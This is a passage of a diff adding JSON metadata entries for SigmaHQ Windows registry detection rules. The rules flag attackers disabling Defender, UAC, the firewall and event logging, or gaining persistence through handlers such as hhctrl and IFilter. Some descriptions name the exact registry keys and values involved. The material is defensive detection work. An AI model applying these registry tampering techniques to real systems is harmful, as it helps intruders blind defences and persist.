Protection on Windows Defender", + "meta": { + "refs": [ + "https://www.tenforums.com/tutorials/32236-enable-disable-microsoft-defender-pua-protection-windows-10-a.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disabled_pua_protection_on_microsoft_defender.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2021/08/04", + "filename": "registry_set_disabled_pua_protection_on_microsoft_defender.yml", + "author": "Austin Songer @austinsonger", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects disabling Windows Defender Tamper Protection", + "uuid": "93d298a1-d28f-47f1-a468-d971e7796679", + "value": "Disable Tamper Protection on Windows Defender", + "meta": { + "refs": [ + "https://www.tenforums.com/tutorials/123792-turn-off-tamper-protection-microsoft-defender-antivirus.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disabled_tamper_protection_on_microsoft_defender.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2021/08/04", + "filename": "registry_set_disabled_tamper_protection_on_microsoft_defender.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Administrative shares are hidden network shares created by Microsoft Windows NT operating systems that grant system administrators remote access to every disk volume on a network-connected system", + "uuid": "c7dcacd0-cc59-4004-b0a4-1d6cdebe6f3e", + "value": "Disable Administrative Share Creation at Startup", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.005/T1070.005.md#atomic-test-4---disable-administrative-share-creation-at-startup", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_administrative_share.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.005" + ], + "creation_date": "2022/01/16", + "filename": "registry_set_disable_administrative_share.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects tampering of autologger trace sessions which is a technique used by attackers to disable logging", + "uuid": "f37b4bce-49d0-4087-9f5b-58bffda77316", + "value": "AutoLogger Sessions Tamper", + "meta": { + "refs": [ + "https://twitter.com/MichalKoczwara/status/1553634816016498688", + "https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_autologger_sessions.yml" + ], + "tags": [ + "attack.defense_evasion" + ], + "creation_date": "2022/08/01", + "filename": "registry_set_disable_autologger_sessions.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may disable or modify system firewalls in order to bypass controls limiting network usage", + "uuid": "974515da-6cc5-4c95-ae65-f97f9150ec7f", + "value": "Disable Microsoft Defender Firewall via Registry", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.004/T1562.004.md#atomic-test-2---disable-microsoft-defender-firewall-via-registry", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_defender_firewall.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.004" + ], + "creation_date": "2022/01/09", + "filename": "registry_set_disable_defender_firewall.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects registry modifications that change features of internal Windows tools (malware like Agent Tesla uses this technique)", + "uuid": "e2482f8d-3443-4237-b906-cc145d87a076", + "value": "Disable Internal Tools or Feature in Registry", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md", + "https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_function_user.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112" + ], + "creation_date": "2022/03/18", + "filename": "registry_set_disable_function_user.yml", + "author": "frack113, Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate admin script" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects tampering with the MacroRuntimeScanScope registry key to disable runtime scanning of enabled macros", + "uuid": "ab871450-37dc-4a3a-997f-6662aa8ae0f1", + "value": "Disable Macro Runtime Scan Scope", + "meta": { + "refs": [ + "https://www.microsoft.com/en-us/security/blog/2018/09/12/office-vba-amsi-parting-the-veil-on-malicious-macros/", + "https://admx.help/?Category=Office2016&Policy=office16.Office.Microsoft.Policies.Windows::L_MacroRuntimeScanScope", + "https://github.com/S3cur3Th1sSh1t/OffensiveVBA/blob/28cc6a2802d8176195ac19b3c8e9a749009a82a3/src/AMSIbypasses.vba", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_macroruntimescanscope.yml" + ], + "tags": [ + "attack.defense_evasion" + ], + "creation_date": "2022/10/25", + "filename": "registry_set_disable_macroruntimescanscope.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Disable Microsoft Office Security Features by registry", + "uuid": "7c637634-c95d-4bbf-b26c-a82510874b34", + "value": "Disable Microsoft Office Security Features", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", + "https://unit42.paloaltonetworks.com/unit42-gorgon-group-slithering-nation-state-cybercrime/", + "https://yoroi.company/research/cyber-criminal-espionage-operation-insists-on-italian-manufacturing/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_microsoft_office_security_features.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2021/06/08", + "filename": "registry_set_disable_microsoft_office_security_features.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects registry modifications that disable Privacy Settings Experience", + "uuid": "0372e1f9-0fd2-40f7-be1b-a7b2b848fa7b", + "value": "Disable Privacy Settings Experience in Registry", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/9e5b12c4912c07562aec7500447b11fa3e17e254/atomics/T1562.001/T1562.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_privacy_settings_experience.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2022/10/02", + "filename": "registry_set_disable_privacy_settings_experience.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate admin script" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detect set UseActionCenterExperience to 0 to disable the windows security center notification", + "uuid": "3ae1a046-f7db-439d-b7ce-b8b366b81fa6", + "value": "Disable Windows Security Center Notifications", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1112/T1112.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_security_center_notifications.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112" + ], + "creation_date": "2022/08/19", + "filename": "registry_set_disable_security_center_notifications.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects the modification of the registry to disable a system restore on the computer", + "uuid": "5de03871-5d46-4539-a82d-3aa992a69a83", + "value": "Registry Disable System Restore", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md#atomic-test-9---disable-system-restore-through-registry", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_system_restore.yml" + ], + "tags": [ + "attack.impact", + "attack.t1490" + ], + "creation_date": "2022/04/04", + "filename": "registry_set_disable_system_restore.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects when an attacker tries to disable User Account Control (UAC) by changing its registry key HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\EnableLUA from 1 to 0", + "uuid": "48437c39-9e5f-47fb-af95-3d663c3f2919", + "value": "Disable UAC Using Registry", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1548.002/T1548.002.md#atomic-test-8---disable-uac-using-regexe", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_uac_registry.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.defense_evasion", + "attack.t1548.002" + ], + "creation_date": "2022/01/05", + "filename": "registry_set_disable_uac_registry.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects when an attacker or tool disables the Windows Defender service (WinDefend) via the registry", + "uuid": "e1aa95de-610a-427d-b9e7-9b46cfafbe6a", + "value": "Windows Defender Service Disabled", + "meta": { + "refs": [ + "https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/", + "https://gist.github.com/anadr/7465a9fde63d41341136949f14c21105", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_windows_defender_service.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2022/08/01", + "filename": "registry_set_disable_windows_defender_service.yml", + "author": "J\u00e1n Tren\u010dansk\u00fd, frack113, AlertIQ, Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Administrator actions" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detect set EnableFirewall to 0 to disable the windows firewall", + "uuid": "e78c408a-e2ea-43cd-b5ea-51975cf358c0", + "value": "Disable Windows Firewall by Registry", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1562.004/T1562.004.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_windows_firewall.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.004" + ], + "creation_date": "2022/08/19", + "filename": "registry_set_disable_windows_firewall.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects tampering with the \"Enabled\" registry key in order to disable windows logging of a windows event channel", + "uuid": "2f78da12-f7c7-430b-8b19-a28f269b77a3", + "value": "Disable Winevt Event Logging Via Registry", + "meta": { + "refs": [ + "https://twitter.com/WhichbufferArda/status/1543900539280293889", + "https://github.com/DebugPrivilege/CPP/blob/c39d365617dbfbcb01fffad200d52b6239b2918c/Windows%20Defender/RestoreDefenderConfig.cpp", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_winevt_logging.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.002" + ], + "creation_date": "2022/07/04", + "filename": "registry_set_disable_winevt_logging.yml", + "author": "frack113, Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Legitimate administrators disabling specific event log for troubleshooting" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detect set DisallowRun to 1 to prevent user running specific computer program", + "uuid": "275641a5-a492-45e2-a817-7c81e9d9d3e9", + "value": "Add DisallowRun Execution to Registry", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1112/T1112.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disallowrun_execution.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112" + ], + "creation_date": "2022/08/19", + "filename": "registry_set_disallowrun_execution.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects when an attacker modifies values of the Disk Cleanup Handler in the registry to achieve persistence via autorun.\nThe disk cleanup manager is part of the operating system.\nIt displays the dialog box [\u2026] The user has the option of enabling or disabling individual handlers by selecting or clearing their check box in the disk cleanup manager's UI.\nAlthough Windows comes with a number of disk cleanup handlers, they aren't designed to handle files produced by other applications.\nInstead, the disk cleanup manager is designed to be flexible and extensible by enabling any developer to implement and register their own disk cleanup handler.\nAny developer can extend the available disk cleanup services by implementing and registering a disk cleanup handler.\n", + "uuid": "d4e2745c-f0c6-4bde-a3ab-b553b3f693cc", + "value": "Persistence Via Disk Cleanup Handler - Autorun", + "meta": { + "refs": [ + "https://persistence-info.github.io/Data/diskcleanuphandler.html", + "https://www.hexacorn.com/blog/2018/09/02/beyond-good-ol-run-key-part-86/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disk_cleanup_handler_autorun_persistence.yml" + ], + "tags": [ + "attack.persistence" + ], + "creation_date": "2022/07/21", + "filename": "registry_set_disk_cleanup_handler_autorun_persistence.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects when a user enables DNS-over-HTTPS.\nThis can be used to hide internet activity or be used to hide the process of exfiltrating data.\nWith this enabled organization will lose visibility into data such as query type, response and originating IP that are used to determine bad actors.\n", + "uuid": "04b45a8a-d11d-49e4-9acc-4a1b524407a5", + "value": "DNS-over-HTTPS Enabled by Registry", + "meta": { + "refs": [ + "https://www.tenforums.com/tutorials/151318-how-enable-disable-dns-over-https-doh-microsoft-edge.html", + "https://github.com/elastic/detection-rules/issues/1371", + "https://chromeenterprise.google/policies/?policy=DnsOverHttpsMode", + "https://admx.help/HKLM/Software/Policies/Mozilla/Firefox/DNSOverHTTPS", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_dns_over_https_enabled.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1140", + "attack.t1112" + ], + "creation_date": "2021/07/22", + "filename": "registry_set_dns_over_https_enabled.yml", + "author": "Austin Songer", + "level": "medium", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects the installation of a plugin DLL via ServerLevelPluginDll parameter in Registry, which can be used to execute code in context of the DNS server (restart required)", + "uuid": "e61e8a88-59a9-451c-874e-70fcc9740d67", + "value": "DNS ServerLevelPluginDll Install", + "meta": { + "refs": [ + "https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_dns_serverlevelplugindll.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1574.002", + "attack.t1112" + ], + "creation_date": "2017/05/08", + "filename": "registry_set_dns_serverlevelplugindll.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "This rule detects cor_enable_profiling and cor_profiler environment variables being set and configured.", + "uuid": "ad89044a-8f49-4673-9a55-cbd88a1b374f", + "value": "Enabling COR Profiler Environment Variables", + "meta": { + "refs": [ + "https://twitter.com/jamieantisocial/status/1304520651248668673", + "https://www.slideshare.net/JamieWilliams130/started-from-the-bottom-exploiting-data-sources-to-uncover-attck-behaviors", + "https://www.sans.org/cyber-security-summit/archives", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_enabling_cor_profiler_env_variables.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.defense_evasion", + "attack.t1574.012" + ], + "creation_date": "2020/09/10", + "filename": "registry_set_enabling_cor_profiler_env_variables.yml", + "author": "Jose Rodriguez (@Cyb3rPandaH), OTR (Open Threat Research)", + "level": "high", + "falsepositive": "No established falsepositives", + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects enabling TurnOffCheck which can be used to bypass defense of MSDT Follina vulnerability", + "uuid": "7d995e63-ec83-4aa3-89d5-8a17b5c87c86", + "value": "Scripted Diagnostics Turn Off Check Enabled - Registry", + "meta": { + "refs": [ + "https://twitter.com/wdormann/status/1537075968568877057?s=20&t=0lr18OAnmAGoGpma6grLUw", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_enabling_turnoffcheck.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2022/06/15", + "filename": "registry_set_enabling_turnoffcheck.yml", + "author": "Christopher Peacock @securepeacock, SCYTHE @scythe_io", + "level": "medium", + "falsepositive": [ + "Administrator actions" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Potential adversaries stopping ETW providers recording loaded .NET assemblies.", + "uuid": "bf4fc428-dcc3-4bbd-99fe-2422aeee2544", + "value": "COMPlus_ETWEnabled Registry Modification", + "meta": { + "refs": [ + "https://twitter.com/_xpn_/status/1268712093928378368", + "https://social.msdn.microsoft.com/Forums/vstudio/en-US/0878832e-39d7-4eaf-8e16-a729c4c40975/what-can-i-use-e13c0d23ccbc4e12931bd9cc2eee27e4-for?forum=clr", + "https://github.com/dotnet/runtime/blob/ee2355c801d892f2894b0f7b14a20e6cc50e0e54/docs/design/coreclr/jit/viewing-jit-dumps.md#setting-configuration-variables", + "https://github.com/dotnet/runtime/blob/f62e93416a1799aecc6b0947adad55a0d9870732/src/coreclr/src/inc/clrconfigvalues.h#L35-L38", + "https://github.com/dotnet/runtime/blob/7abe42dc1123722ed385218268bb9fe04556e3d3/src/coreclr/src/inc/clrconfig.h#L33-L39", + "https://github.com/dotnet/runtime/search?p=1&q=COMPlus_&unscoped_q=COMPlus_", + "https://bunnyinside.com/?term=f71e8cb9c76a", + "http://managed670.rssing.com/chan-5590147/all_p1.html", + "https://github.com/dotnet/runtime/blob/4f9ae42d861fcb4be2fcd5d3d55d5f227d30e723/docs/coding-guidelines/clr-jit-coding-conventions.md#1412-disabling-code", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_etw_disabled.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112" + ], + "creation_date": "2020/06/05", + "filename": "registry_set_etw_disabled.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects applications being added to the \"allowed applications\" list of exploit guard in order to bypass controlled folder settings", + "uuid": "42205c73-75c8-4a63-9db1-e3782e06fda0", + "value": "Suspicious Application Allowed Through Exploit Guard", + "meta": { + "refs": [ + "https://www.microsoft.com/security/blog/2017/10/23/windows-defender-exploit-guard-reduce-the-attack-surface-against-next-generation-malware/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_exploit_guard_susp_allowed_apps.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2022/08/05", + "filename": "registry_set_exploit_guard_susp_allowed_apps.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detect change of the user account associated with the FAX service to avoid the escalation problem.", + "uuid": "e3fdf743-f05b-4051-990a-b66919be1743", + "value": "Change User Account Associated with the FAX Service", + "meta": { + "refs": [ + "https://twitter.com/dottor_morte/status/1544652325570191361", + "https://raw.githubusercontent.com/RiccardoAncarani/talks/master/F-Secure/unorthodox-lateral-movement.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_fax_change_service_user.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112" + ], + "creation_date": "2022/07/17", + "filename": "registry_set_fax_change_service_user.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detect possible persistence using Fax DLL load when service restart", + "uuid": "9e3357ba-09d4-4fbd-a7c5-ad6386314513", + "value": "Change the Fax Dll", + "meta": { + "refs": [ + "https://twitter.com/dottor_morte/status/1544652325570191361", + "https://raw.githubusercontent.com/RiccardoAncarani/talks/master/F-Secure/unorthodox-lateral-movement.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_fax_dll_persistance.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112" + ], + "creation_date": "2022/07/17", + "filename": "registry_set_fax_dll_persistance.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects the abuse of the exefile handler in new file association. Used for bypass of security products.", + "uuid": "44a22d59-b175-4f13-8c16-cbaef5b581ff", + "value": "New File Association Using Exefile", + "meta": { + "refs": [ + "https://twitter.com/mrd0x/status/1461041276514623491", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_file_association_exefile.yml" + ], + "tags": [ + "attack.defense_evasion" + ], + "creation_date": "2021/11/19", + "filename": "registry_set_file_association_exefile.yml", + "author": "Andreas Hunkeler (@Karneades)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects persistence using GlobalFlags in image file execution options", + "uuid": "36803969-5421-41ec-b92f-8500f79c23b0", + "value": "GlobalFlags Registry Persistence Mechanisms", + "meta": { + "refs": [ + "https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_globalflags_persistence.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.persistence", + "attack.defense_evasion", + "attack.t1546.012", + "car.2013-01-002" + ], + "creation_date": "2018/04/11", + "filename": "registry_set_globalflags_persistence.yml", + "author": "Karneades, Jonhnathan Ribeiro", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects when an attacker adds a new \"Debugger\" value to the \"Hangs\" key in order to achieve persistence which will get invoked when an application crashes", + "uuid": "833ef470-fa01-4631-a79b-6f291c9ac498", + "value": "Add Debugger Entry To Hangs Key For Persistence", + "meta": { + "refs": [ + "https://persistence-info.github.io/Data/wer_debugger.html", + "https://www.hexacorn.com/blog/2019/09/20/beyond-good-ol-run-key-part-116/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_hangs_debugger_persistence.yml" + ], + "tags": [ + "attack.persistence" + ], + "creation_date": "2022/07/21", + "filename": "registry_set_hangs_debugger_persistence.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "This value is not set by default but could be rarly used by administrators" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects when an attacker modifies the registry value of the \"hhctrl\" to point to a custom binary", + "uuid": "f10ed525-97fe-4fed-be7c-2feecca941b1", + "value": "Persistence Via Hhctrl.ocx", + "meta": { + "refs": [ + "https://persistence-info.github.io/Data/hhctrl.html", + "https://www.hexacorn.com/blog/2018/04/23/beyond-good-ol-run-key-part-77/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_hhctrl_persistence.yml" + ], + "tags": [ + "attack.persistence" + ], + "creation_date": "2022/07/21", + "filename": "registry_set_hhctrl_persistence.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Hides the file extension through modification of the registry", + "uuid": "5df86130-4e95-4a54-90f7-26541b40aec2", + "value": "Registry Modification to Hidden File Extension", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md#atomic-test-1---modify-registry-of-current-user-profile---cmd", + "https://unit42.paloaltonetworks.com/ransomware-families/", + "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=TrojanSpy%3aMSIL%2fHakey.A", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_hidden_extention.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1137" + ], + "creation_date": "2022/01/22", + "filename": "registry_set_hidden_extention.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Administrative scripts" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects modifications to the hidden files keys in registry. This technique is abused by several malware families to hide their files from normal users.", + "uuid": "5a5152f1-463f-436b-b2f5-8eceb3964b42", + "value": "Modification of Explorer Hidden Keys", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.001/T1564.001.md#atomic-test-8---hide-files-through-registry", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_hide_file.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564.001" + ], + "creation_date": "2022/04/02", + "filename": "registry_set_hide_file.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects registry modifications that hide internal tools or functions from the user (malware like Agent Tesla, Hermetic Wiper uses this technique)", + "uuid": "5a93eb65-dffa-4543-b761-94aa60098fb6", + "value": "Registry Hide Function from User", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.001/T1564.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_hide_function_user.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112" + ], + "creation_date": "2022/03/18", + "filename": "registry_set_hide_function_user.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate admin script" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects when the \"index\" value of a scheduled task is modified from the registry\nWhich effectively hides it from any tooling such as \"schtasks /query\" (Read the referenced link for more information about the effects of this technique)\n", + "uuid": "5b16df71-8615-4f7f-ac9b-6c43c0509e61", + "value": "Hide Schedule Task Via Index Value Tamper", + "meta": { + "refs": [ + "https://blog.qualys.com/vulnerabilities-threat-research/2022/06/20/defending-against-scheduled-task-attacks-in-windows-environments", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_hide_scheduled_task_via_index_tamper.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562" + ], + "creation_date": "2022/08/26", + "filename": "registry_set_hide_scheduled_task_via_index_tamper.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects the modification of the registry settings used for Internet Explorer and other Windows components that use these settings", + "uuid": "d88d0ab2-e696-4d40-a2ed-9790064e66b3", + "value": "Modification of IE Registry Settings", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md#atomic-test-5---javascript-in-registry", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_ie_persistence.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112" + ], + "creation_date": "2022/01/22", + "filename": "registry_set_ie_persistence.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects when an attacker register a new IFilter for an exntesion. Microsoft Windows Search uses filters to extract the content of items for inclusion in a full-text index. You can extend Windows Search to index new or proprietary file types by writing filters to extract the content, and property handlers to extract the properties of files", + "uuid": "b23818c7-e575-4d13-8012-332075ec0a2b", + "value": "Register New IFiltre For Persistence", + "meta": { + "refs": [ + "https://persistence-info.github.io/Data/ifilters.html", + "https://twitter.com/0gtweet/status/1468548924600459267", + "https://github.com/gtworek/PSBits/tree/master/IFilter", + "https://github.com/gtworek/PSBits/blob/8d767892f3b17eefa4d0668f5d2df78e844f01d8/IFilter/Dll.cpp#L281-L308", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_ifilter_persistence.yml" + ], + "tags": [ + "attack.persistence" + ], + "creation_date": "2022/07/21", + "filename": "registry_set_ifilter_persistence.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate 